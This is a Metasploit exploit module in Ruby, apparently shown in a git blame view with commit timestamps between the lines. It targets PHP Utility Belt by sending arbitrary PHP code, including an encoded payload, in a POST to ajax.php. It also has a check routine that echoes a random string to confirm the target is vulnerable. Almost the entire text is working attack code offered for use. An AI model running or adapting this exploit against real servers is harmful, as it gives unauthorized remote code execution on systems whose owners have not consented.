2016-03-01 01:22:25 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit4 < Msf::Exploit::Remote
|
2016-03-09 20:08:26 +00:00
|
|
|
|
2016-03-01 01:22:25 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
2016-03-09 20:08:26 +00:00
|
|
|
def initialize(info = {})
|
2016-03-01 01:22:25 +00:00
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'PHP Utility Belt Remote Code Execution',
|
|
|
|
'Description' => %q{
|
2016-03-09 20:08:26 +00:00
|
|
|
This module exploits a remote code execution vulnerability in PHP Utility Belt,
|
2016-03-01 01:22:25 +00:00
|
|
|
which is a set of tools for PHP developers and should not be installed in a
|
2016-03-09 20:08:26 +00:00
|
|
|
production environment, since this application runs arbitrary PHP code as an
|
2016-03-01 01:22:25 +00:00
|
|
|
intended functionality.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
2016-03-09 20:08:26 +00:00
|
|
|
'WICS', # initial discovery
|
2016-03-01 01:22:25 +00:00
|
|
|
'Jay Turla' # msf
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
2016-03-09 20:08:26 +00:00
|
|
|
['EDB', '38901'],
|
|
|
|
['URL', 'https://github.com/mboynes/php-utility-belt'] # Official Repo
|
2016-03-01 01:22:25 +00:00
|
|
|
],
|
2016-03-11 06:05:26 +00:00
|
|
|
'DisclosureDate' => 'Dec 08 2015',
|
2016-03-09 20:08:26 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Platform' => 'php',
|
|
|
|
'Arch' => ARCH_PHP,
|
2016-03-01 01:22:25 +00:00
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
2016-03-09 20:08:26 +00:00
|
|
|
'Space' => 2000,
|
|
|
|
'DisableNops' => true
|
2016-03-01 01:22:25 +00:00
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2016-03-09 20:08:26 +00:00
|
|
|
['PHP Utility Belt', {}]
|
2016-03-01 01:22:25 +00:00
|
|
|
],
|
2016-03-09 20:08:26 +00:00
|
|
|
'DefaultTarget' => 0
|
|
|
|
))
|
2016-03-01 01:22:25 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2016-03-09 20:08:26 +00:00
|
|
|
OptString.new('TARGETURI', [true, 'The path to PHP Utility Belt', '/php-utility-belt/ajax.php'])
|
|
|
|
], self.class)
|
2016-03-01 01:22:25 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
txt = Rex::Text.rand_text_alpha(8)
|
|
|
|
res = http_send_command("echo #{txt};")
|
|
|
|
|
2016-03-09 20:08:26 +00:00
|
|
|
if res && res.body.include?(txt)
|
|
|
|
Exploit::CheckCode::Vulnerable
|
2016-03-01 01:22:25 +00:00
|
|
|
else
|
2016-03-09 20:08:26 +00:00
|
|
|
Exploit::CheckCode::Safe
|
2016-03-01 01:22:25 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2016-03-09 20:08:26 +00:00
|
|
|
def exploit
|
|
|
|
http_send_command(payload.encoded)
|
|
|
|
end
|
|
|
|
|
2016-03-01 01:22:25 +00:00
|
|
|
def http_send_command(cmd)
|
2016-03-09 20:08:26 +00:00
|
|
|
send_request_cgi(
|
|
|
|
'method' => 'POST',
|
|
|
|
'uri' => normalize_uri(target_uri.path),
|
2016-03-01 01:22:25 +00:00
|
|
|
'vars_post' => {
|
|
|
|
'code' => cmd
|
|
|
|
}
|
2016-03-09 20:08:26 +00:00
|
|
|
)
|
2016-03-01 01:22:25 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|